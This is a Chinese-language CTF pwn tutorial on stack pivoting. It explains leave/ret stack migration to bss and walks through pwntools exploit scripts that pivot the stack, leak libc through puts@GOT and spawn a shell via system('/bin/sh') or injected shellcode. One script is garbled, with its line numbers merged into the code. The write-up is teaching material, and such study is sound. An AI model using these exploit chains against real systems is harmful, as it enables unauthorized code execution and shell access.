PWN技巧-栈迁移
介绍
我们首先介绍一下Stack pivoting的含义:该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行ROP。一般来说,我们可能在以下情况需要使用stack pivoting:
- 可以控制的栈溢出的字节数较少,难以构造较长的ROP链
- 开启了PIE保护,栈地址未知,我们可以将栈劫持到已知的区域。
- 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写rop及进行堆漏洞利用
此外,利用 stack pivoting有以下几个要求: - 可以控制程序执行流
- 可以控制sp指针。一般来说,控制栈指针会使用ROP,常见的控制栈指针的gadgets一般是
pop rsp/esp
当然,还会有一些其它的姿势。比如说libc_csu_init中的gadgets,我们通过偏移就可以得到控制rsp指针
上面是正常的,下面是偏移的
此外,还有更加高级的 fake frame - 存在可以控制内容的内存,一般有如下
- bss段。由于进程按页分配内存,分配给bss段的内存大小至少一个页(4k,0x1000)大小。然而一般bss段的内容用不了这么多的空间,并且bss段分配的内存页拥有读写权限。
- heap。但是这个需要我们能够泄露堆地址
示例1
32位,保护全关,泪目
有输入点,测一下偏移
36个可以覆盖到返回地址,32个覆盖到ebp(栈底)
只能溢出14个字节,很难执行一些比较好的ROP,考虑栈迁移
没有开启堆栈保护,我们可以在直接在栈上布置shellcode并执行
思路如下:
- 利用栈溢出布置shellcode
- 控制eip指向shellcode处
payload的长度为44字节,其中的shellcode_x86长度为22字节,不能直接将shellcode注入栈中,否则会破坏栈
可以利用栈溢出对esp进行操作,使其指向shellcode处,并且直接控制程序跳转至esp处。那下面就是找控制程序跳转到esp的gadgets了
我们搜索一下可以控制程序跳转到esp处的gadget
我们需要jmp esp
因此将shellcode布局如下
shellcode|padding|fake epb|0x08048504|set esp point to shellcode and jmp esp|
exp
from pwn import * |

先把字节码转为汇编
getshell!
示例2(x86)
栈迁移的技术,分为32位和64位ELF,我们先来学习32位栈迁移
明确一个观点,栈的内容即程序EIP执行的流程(因为我们总是覆盖函数的返回地址)
栈中的内容都是栈:函数 返回地址 参数
原理
栈迁移正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。我们可利用该技巧来解决栈溢出空间大小不足的问题。
我们进入一个函数的时候,会执行call指令call func(); //push eip+4; push ebp; mov ebp,esp;
call func() 执行完要退出的时候要进行与call func相反的操作(恢复现场)维持栈平衡!leave; //mov esp,ebp; pop ebp;
ret ; // pop eip
栈迁移的核心思想就是将栈 的esp 和 ebp 转移到一个输入不受长度限制的且可控制的地址处,通常是 bss 段地址。
在最后ret 的时候 如果我们能够控制栈顶 esp指向的地址就想到控制了程序执行流!
栈的迁移技巧在CTF pwn挑战中的应用-CSDN博客
xxxxxxxxxx28 1from pwn import 2context(os=’linux’, arch=’amd64’, log_level=’debug’)34io = process(‘./pwn2’)5elf = ELF(‘./pwn2’)67vul = 0x4009E78write = 0x4009DD910pop_rdi = 0x4014c611pop_rsi = 0x4015e712pop_rdx = 0x44262613jmp_rsi = 0x4a331314mov_rdi_esi = 0x47a3b31516payload = “A”0x8817payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym[‘stack_prot’]) + p64(mov_rdi_esi)18payload += p64(pop_rdi) + p64(elf.sym[‘libc_stack_end’]) + p64(elf.sym[‘_dl_make_stack_executable’])19payload += p64(vul)2021io.sendlineafter(‘welcome~\n’, payload)2223shellcode = asm(shellcraft.sh())24payload = shellcode.ljust(0x88, “A”) + p64(jmp_rsi)2526io.sendline(payload)2728io.interactive()python
payload1


pay1=b'a'*(0x28)+p32(buf)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf)+p32(0x100) |
payload2=p32(buf1)+p32(puts_plt)+p32(pop_ebx_ret)+p32(puts_got) |
payload3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0)+p32(buf)+p32(0x100) |
具体流程详见excelfrom pwn import *
io=process('./migration')
elf=ELF('./migration')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level="debug"
buf=elf.bss()+0x500
buf1=elf.bss()+0x400
print(hex(buf1))
read_plt=elf.plt['read']
leave_ret=0x08048504
# 0x08048504 : leave ; ret
payload1=b'a'*(0x28)+p32(buf)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf)+p32(0x100)
io.sendafter(b'best :\n',payload1)
puts_plt=elf.plt['puts']
pop_ebx_ret=0x804836d
puts_got=elf.got['puts']
payload2=p32(buf1)+p32(puts_plt)+p32(pop_ebx_ret)+p32(puts_got)
payload2+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
io.sendline(payload2)
puts_addr=u32(io.recv(4))
success("puts_addr ==> "+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
system_addr=libc_base+libc.symbols['system']
print(hex(system_addr))
pop3ret=0x08048569
payload3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0)+p32(buf)+p32(0x100)
payload3+=p32(system_addr)+p32(0xdeadbeef)+p32(buf)
io.sendline(payload3)
io.sendline("/bin/sh\0")
io.interactive()